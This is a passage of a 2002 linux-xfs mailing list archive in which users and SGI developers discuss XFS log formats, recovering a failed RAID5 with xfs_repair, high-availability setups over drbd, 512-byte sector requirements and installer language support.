g7ECAMr3053016; Wed, 14 Aug 2002 14:10:23 +0200 (CEST) Message-Id: <4.3.2.7.2.20020814140713.03712468@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Aug 2002 14:07:38 +0200 To: Oliver Jehle , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: Convert Log Format from old to v2 format In-Reply-To: <1029319626.1094.22.camel@vorab> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 12:07 14-8-2002 +0200, Oliver Jehle wrote: >is there a way to convert the logging format from old xfs-filestem to >the new version 2 logging in xfs without backup/recreate/restore the >filesystem ??? for example unmounting, run utility, mount it... Not available yet, maybe when steve gets time for it. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 05:19:38 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7ECJcRw023268 for ; Wed, 14 Aug 2002 05:19:38 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7ECJcLc023267 for linux-xfs-outgoing; Wed, 14 Aug 2002 05:19:38 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ECJPRw023238 for ; Wed, 14 Aug 2002 05:19:26 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7ECLh2Q094169; Wed, 14 Aug 2002 14:21:56 +0200 (CEST) Message-Id: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Aug 2002 14:18:56 +0200 To: Paul Schutte , XFS mailing list From: Seth Mos Subject: Re: Problem repairing filesystem In-Reply-To: <3D5A3174.1A91A496@up.ac.za> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 12:31 14-8-2002 +0200, Paul Schutte wrote: >Background: >---------------- > >I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the >2.4.9-31-xfs kernel. >Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware >raid controller. >There is a 4Gb root partition and a +/- 320Gb data partition. > >One of the drives failed and the machine crashed. Adaptec is not known for there quality of the raid drivers. aacraid comes to mind. I suggest using software raid instead. I like software raid. >We replaced the drive and rebuild the array. Why rebuild the array when you have hardware raid5. You should be able to boot the degraded array and work from there. >I booted up with a CD that I created a while a go with >2.4.19-pre9-20020604 and mounted a I understand that the machine did not boot anymore after the crash? Can it be that the drive had write caching which made it fail horribly in the end and crashed the machine? >nfs root partition with all the xfs tools on it. >We ran xfs_repair (version 2.2.1) on the root partition of the raid >array. >A lot of the files have the dreaded zero problem, but apart from that it >is mountable and usable. The zero problem is fixed in the 1.1 release and should be no longer present. That was one of _the_ important fixes in the 1.1 release. >fatal error -- can't read block 0 for directory inode 2097749 > > >When you mount the filesystem, it is empty (except for lost+found which >is also empty) Do you have the ability to fetch the current CVS tools and see if that works better? >The output of xfs_repair is large about 300k bzip2'ed. It would be best >if interested parties download it. > >http://www2.up.ac.za/paul/xfs_repair.out.bz2 > >http://www2.up.ac.za/paul/dmesg.out.bz2 > >Questions: >-------------- >Have I lost the 320G partition or does someone still have a trick up >their sleeve ? I think it is lost, maybe one of the developers has any clues. >Would it be possible to make xfs_repair use a lot less memory ? >My guess is that the filesystem got it's final blow by xfs_repair >exiting prematurely. Quite possible. There have been some fixes for xfs_repair and the memory usage but I don't think every single case is handled for low memory use. Did the disk have a lot of small files (in the order of a million files in one directory or so? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 05:44:36 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7ECiaRw023677 for ; Wed, 14 Aug 2002 05:44:36 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7ECiZ18023676 for linux-xfs-outgoing; Wed, 14 Aug 2002 05:44:35 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ECiTRw023647 for ; Wed, 14 Aug 2002 05:44:30 -0700 Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g7ECkwx06148 for ; Wed, 14 Aug 2002 14:46:58 +0200 Message-ID: <3D5A5142.9030303@ima.pl> Date: Wed, 14 Aug 2002 14:46:58 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: XFS and net devices, any pros or cons ? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.9 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, I'm building High Availability server with RAID created using LAN interfaces and drbd module. This will be pair of computers running in active/passive mode so only one of them will have mounted shared device at a time. Are there any problems that I should expect ? Is XFS good fs for that or should I use something other ? I'm also considering usage of Intermezzo. Regards, Blizbor From owner-linux-xfs@oss.sgi.com Wed Aug 14 06:04:28 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7ED4SRw023956 for ; Wed, 14 Aug 2002 06:04:28 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7ED4Svk023955 for linux-xfs-outgoing; Wed, 14 Aug 2002 06:04:28 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ED4LRw023927 for ; Wed, 14 Aug 2002 06:04:22 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7ED6ow7046338; Wed, 14 Aug 2002 15:06:50 +0200 (CEST) Message-Id: <4.3.2.7.2.20020814150308.037286f8@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Aug 2002 15:03:58 +0200 To: "Blizbor (IMA)" , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: XFS and net devices, any pros or cons ? In-Reply-To: <3D5A5142.9030303@ima.pl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 14:46 14-8-2002 +0200, Blizbor (IMA) wrote: >Hi, > >I'm building High Availability server with RAID >created using LAN interfaces and drbd module. >This will be pair of computers running in active/passive >mode so only one of them will have mounted shared >device at a time. As long as you are sure the device wil not be mounted simultaneously there should not be to much of a problem. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 06:32:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EDWCRw024734 for ; Wed, 14 Aug 2002 06:32:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EDWCoh024733 for linux-xfs-outgoing; Wed, 14 Aug 2002 06:32:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EDW7Rw024705 for ; Wed, 14 Aug 2002 06:32:07 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA29796; Wed, 14 Aug 2002 08:34:29 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA55243; Wed, 14 Aug 2002 08:34:29 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EDWVS15598; Wed, 14 Aug 2002 08:32:31 -0500 Subject: Re: lenguage From: Steve Lord To: "Francisco A. Acevedo P." Cc: linux-xfs@oss.sgi.com In-Reply-To: <000801c2432f$b113e470$0100a8c0@GARFI01> References: <000801c2432f$b113e470$0100a8c0@GARFI01> Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 08:32:30 -0500 Message-Id: <1029331950.26253.24.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7EDW7Rw024706 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, 2002-08-13 at 20:12, Francisco A. Acevedo P. wrote: > I install the SGI XFS and no have the spanish lenguage for the sistem, only for the installation. I need the spanish lenguage ¿what I do? > We have no facilities to provide translations to other languages, SGI does have international versions of Irix, and the manuals are online at www.sgi.com, I am not sure if there is a Spanish version of Irix, or if the translated versions are on line. The man pages for xfs would be mostly relevant for linux if you can find them. Steve p.s. It is also possible someone on the list can assist you. -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 06:37:55 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EDbtRw025014 for ; Wed, 14 Aug 2002 06:37:55 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EDbtl1025013 for linux-xfs-outgoing; Wed, 14 Aug 2002 06:37:55 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from kendy.up.ac.za (kendy.up.AC.za [137.215.101.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EDbKRw024983 for ; Wed, 14 Aug 2002 06:37:29 -0700 Received: from [137.215.95.15] (helo=mx1.up.ac.za) by kendy.up.ac.za with esmtp (Exim 3.35 #1) id 17eyMB-0000SN-00; Wed, 14 Aug 2002 15:38:39 +0200 Received: from tzone.up.ac.za ([137.215.145.210] helo=up.ac.za) by mx1.up.ac.za with esmtp (Exim 3.12 #1) id 17eyM9-0004p6-00; Wed, 14 Aug 2002 15:38:37 +0200 Message-ID: <3D5A5D5D.AEE17BD8@up.ac.za> Date: Wed, 14 Aug 2002 15:38:37 +0200 From: Paul Schutte X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.19-rc3-xfs-tzone i686) X-Accept-Language: en MIME-Version: 1.0 To: Seth Mos CC: XFS mailing list Subject: Re: Problem repairing filesystem References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Scanner: exiscan *17eyM9-0004p6-00*xPLbgUDTMno* (University of Pretoria, South Africa) X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Seth Mos wrote: > At 12:31 14-8-2002 +0200, Paul Schutte wrote: > >Background: > >---------------- > > > >I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the > >2.4.9-31-xfs kernel. > >Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware > >raid controller. > >There is a 4Gb root partition and a +/- 320Gb data partition. > > > >One of the drives failed and the machine crashed. > > Adaptec is not known for there quality of the raid drivers. aacraid comes > to mind. I suggest using software raid instead. I like software raid. > software RAID5 with internal log using postmark v1.5 Time: 6186 seconds total 5840 seconds of transactions (17 per second) Files: 60125 created (9 per second) Creation alone: 10000 files (121 per second) Mixed with transactions: 50125 files (8 per second) 50110 read (8 per second) 49822 appended (8 per second) 60125 deleted (9 per second) Deletion alone: 10250 files (38 per second) Mixed with transactions: 49875 files (8 per second) Data: 3113.25 megabytes read (515.35 kilobytes per second) 3731.11 megabytes written (617.63 kilobytes per second) hardware raid5 using postmark v1.5: Time: 749 seconds total 709 seconds of transactions (141 per second) Files: 60125 created (80 per second) Creation alone: 10000 files (416 per second) Mixed with transactions: 50125 files (70 per second) 50110 read (70 per second) 49822 appended (70 per second) 60125 deleted (80 per second) Deletion alone: 10250 files (640 per second) Mixed with transactions: 49875 files (70 per second) Data: 3113.25 megabytes read (4.16 megabytes per second) 3731.11 megabytes written (4.98 megabytes per second) > > >We replaced the drive and rebuild the array. > > Why rebuild the array when you have hardware raid5. You should be able to > boot the degraded array and work from there. > Good question. That was the whole idea, but I it did'nt work out in practice. I am not sure why. > > >I booted up with a CD that I created a while a go with > >2.4.19-pre9-20020604 and mounted a > > I understand that the machine did not boot anymore after the crash? Can it > be that the drive had write caching which made it fail horribly in the end > and crashed the machine? > The controller was set not to cache writes, but I don't know what the controller did with each drive. It never lost power, so write caching should not be a problem. It took 2 days to get the new harddisk and only then did we switch it off. It did boot, but crashed almost immediatly. You can't repair a xfs root partittion without a rescue disk and therefore the nfs trick. > > >nfs root partition with all the xfs tools on it. > >We ran xfs_repair (version 2.2.1) on the root partition of the raid > >array. > >A lot of the files have the dreaded zero problem, but apart from that it > >is mountable and usable. > > The zero problem is fixed in the 1.1 release and should be no longer > present. That was one of _the_ important fixes in the 1.1 release. ftp://oss.sgi.com/projects/xfs/download/Release-1.1/kernel_rpms/2.4.9-31-RH/SRPMS/kernel-2.4.9-31SGI_XFS_1.1.src.rpm Was the kernel running. It was 1-1 backported to 2.4.9 by SGI ? > > > >fatal error -- can't read block 0 for directory inode 2097749 > > > > > >When you mount the filesystem, it is empty (except for lost+found which > >is also empty) > > Do you have the ability to fetch the current CVS tools and see if that > works better? xfs_repair version 2.2.1 (which is what I used) is the latest. (It was on 2002-08-13) > > > >The output of xfs_repair is large about 300k bzip2'ed. It would be best > >if interested parties download it. > > > >http://www2.up.ac.za/paul/xfs_repair.out.bz2 > > > >http://www2.up.ac.za/paul/dmesg.out.bz2 > > > >Questions: > >-------------- > >Have I lost the 320G partition or does someone still have a trick up > >their sleeve ? > > I think it is lost, maybe one of the developers has any clues. > > >Would it be possible to make xfs_repair use a lot less memory ? > >My guess is that the filesystem got it's final blow by xfs_repair > >exiting prematurely. > > Quite possible. There have been some fixes for xfs_repair and the memory > usage but I don't think every single case is handled for low memory use. > > Did the disk have a lot of small files (in the order of a million files in > one directory or so? > Nope, It was a mirror server. Mirrors of redhat,debian,suse,gentoo,kernel.org,exim,apache,jakarta-tomcat and a lot other sites that I can't remember off by heart. Some of our users also uploaded some stuff which they wanted to be available via ftp. > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. Thanx Paul From owner-linux-xfs@oss.sgi.com Wed Aug 14 06:53:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EDr6Rw025258 for ; Wed, 14 Aug 2002 06:53:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EDr6Mm025257 for linux-xfs-outgoing; Wed, 14 Aug 2002 06:53:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EDr1Rw025229 for ; Wed, 14 Aug 2002 06:53:02 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17eycU-0004LR-00; Wed, 14 Aug 2002 14:55:30 +0100 Date: Wed, 14 Aug 2002 14:55:30 +0100 From: Christoph Hellwig To: Nathan Scott Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - configure Message-ID: <20020814145530.A16680@infradead.org> References: <200208100202.MAA46551@snort.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200208100202.MAA46551@snort.melbourne.sgi.com>; from nathans@snort.melbourne.sgi.com on Sat, Aug 10, 2002 at 12:02:48PM +1000 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, Aug 10, 2002 at 12:02:48PM +1000, Nathan Scott wrote: > Michael &/ Christoph - can you see if this helps? thanks. Actually I found out that the older bug was my fault - as soon as I gave my ./configure call in the specfile all the parameters you have in the Makefile it works. I don't think requiring them is a good idea, though, configure should have sane defaults. Why don't you go back to the pre-2.1.2 behaviour? From owner-linux-xfs@oss.sgi.com Wed Aug 14 07:17:32 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EEHWRw030429 for ; Wed, 14 Aug 2002 07:17:32 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EEHWKw030428 for linux-xfs-outgoing; Wed, 14 Aug 2002 07:17:32 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EEHMRw030398 for ; Wed, 14 Aug 2002 07:17:23 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA30164; Wed, 14 Aug 2002 09:19:47 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA30766; Wed, 14 Aug 2002 09:19:47 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EEHmR15817; Wed, 14 Aug 2002 09:17:48 -0500 Subject: Re: XFS and net devices, any pros or cons ? From: Steve Lord To: "Blizbor (IMA)" Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D5A5142.9030303@ima.pl> References: <3D5A5142.9030303@ima.pl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 09:17:48 -0500 Message-Id: <1029334668.15672.8.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.7 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 07:46, Blizbor (IMA) wrote: > Hi, > > I'm building High Availability server with RAID > created using LAN interfaces and drbd module. > This will be pair of computers running in active/passive > mode so only one of them will have mounted shared > device at a time. > > Are there any problems that I should expect ? > Is XFS good fs for that or should I use something other ? > > I'm also considering usage of Intermezzo. > > Regards, > Blizbor The normal way we setup something like this is to use a shared scsi or fiberchannel disk setup, that way you no longer have a singe point of failure. If you are putting the disks into one of the two computers then if that system goes down you are dead in the water. The other aspect of the above setup is using something like failsafe, the two nodes monitor each other, and can (if setup correctly) shoot the other node down and take over the filesystem if it detects problems. failsafe itself is opensource, not sure if the components of it which fail over the filesystem to the other node are. Of course all this assumes using the fs via NFS - the second node takes over the ip address of the failed node. A quick look at drbd on the net seems to show that it is designed for these sorts of setups, and it has links to all the high availability stuff for linux. That aside, there should be no problem doing this, provided you make sure the unmount from one system is complete before attempting to mount on the other system. Mounting a filesystem which is already mounted elsewhere is not a good thing, the second system will think the fs needs recovery running on it. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 07:59:45 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EExjRw003367 for ; Wed, 14 Aug 2002 07:59:45 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EExjJT003366 for linux-xfs-outgoing; Wed, 14 Aug 2002 07:59:45 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EExXRw003336 for ; Wed, 14 Aug 2002 07:59:36 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA30438; Wed, 14 Aug 2002 10:01:55 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA93739; Wed, 14 Aug 2002 10:01:55 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EExue18299; Wed, 14 Aug 2002 09:59:56 -0500 Subject: XFS with non 512 byte sectors From: Steve Lord To: "Amit Agrawal, Noida" Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 09:59:56 -0500 Message-Id: <1029337196.15672.28.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 04:17, Amit Agrawal, Noida wrote: > Could you please tell me whether XFS will work with logical device having > sector size greater than 512 bytes or not? > > Best Regards > amit > Hi, If the question is, can XFS work on a device where the smallest addressable unit on the device is not 512 bytes then the answer is no. XFS has some metadata which is always 512 bytes long no matter what the filesystem block size used is. Other filesystems which make all their metadata the same size do not have this problem. It was an unfortunate design choice by the original designers of XFS, but something we are stuck with now without an on disk format change. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 08:07:37 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EF7bRw003659 for ; Wed, 14 Aug 2002 08:07:37 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EF7b4K003658 for linux-xfs-outgoing; Wed, 14 Aug 2002 08:07:37 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EF7VRw003630 for ; Wed, 14 Aug 2002 08:07:31 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA30678; Wed, 14 Aug 2002 10:09:57 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA13474; Wed, 14 Aug 2002 10:09:57 -0500 (CDT) Subject: Re: RE: (sector sizes > 512) From: Eric Sandeen To: Seth Mos Cc: "Amit Agrawal, Noida" , linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20020814115709.036c0cc8@pop.xs4all.nl> References: <4.3.2.7.2.20020814115709.036c0cc8@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 14 Aug 2002 10:04:23 -0500 Message-Id: <1029337464.20977.3.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Seth - I think you're confusing filesystem block size with the sector size, which is the smallest addressable unit on the disk... As Steve pointed out, XFS -needs- a 512-byte sector size. It can have -filesystem- block sizes of 512, 1024, 2048... on up to the page size. -Eric On Wed, 2002-08-14 at 04:58, Seth Mos wrote: > At 15:10 14-8-2002 +0530, Amit Agrawal, Noida wrote: > >No I mean sector sizes which are multiple of 512 i.e 1024 or 4096, of a > >logical device configured through volume management software. > > Smaller then pagesize is no problem eg < 4096 on ia32. > You need a recent CVS kernel for this to work. The 1.1 release does NOT > have support for this yet. -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Aug 14 08:11:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EFBTRw003847 for ; Wed, 14 Aug 2002 08:11:29 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EFBTp8003846 for linux-xfs-outgoing; Wed, 14 Aug 2002 08:11:29 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EFBMRw003818 for ; Wed, 14 Aug 2002 08:11:23 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA30681; Wed, 14 Aug 2002 10:13:49 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA50777; Wed, 14 Aug 2002 10:13:49 -0500 (CDT) Subject: Re: lenguage From: Eric Sandeen To: "Francisco A. Acevedo P." Cc: linux-xfs@oss.sgi.com In-Reply-To: <000801c2432f$b113e470$0100a8c0@GARFI01> References: <000801c2432f$b113e470$0100a8c0@GARFI01> Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 14 Aug 2002 10:08:15 -0500 Message-Id: <1029337696.20977.10.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7EFBNRw003819 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Francisco - There is a bug in the SGI version of the installer that accidentally disabled language support at install time. :( However, you should be able to set up any language you want after the install is done, although I don't know exactly how to do that. Sorry for the inconvenience, -Eric On Tue, 2002-08-13 at 20:12, Francisco A. Acevedo P. wrote: > I install the SGI XFS and no have the spanish lenguage for the sistem, only for the installation. I need the spanish lenguage ¿what I do? > > francisco -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Aug 14 08:14:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EFE2Rw004013 for ; Wed, 14 Aug 2002 08:14:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EFE2oh004012 for linux-xfs-outgoing; Wed, 14 Aug 2002 08:14:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EFDuRw003984 for ; Wed, 14 Aug 2002 08:13:57 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA30831; Wed, 14 Aug 2002 10:16:18 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA55225; Wed, 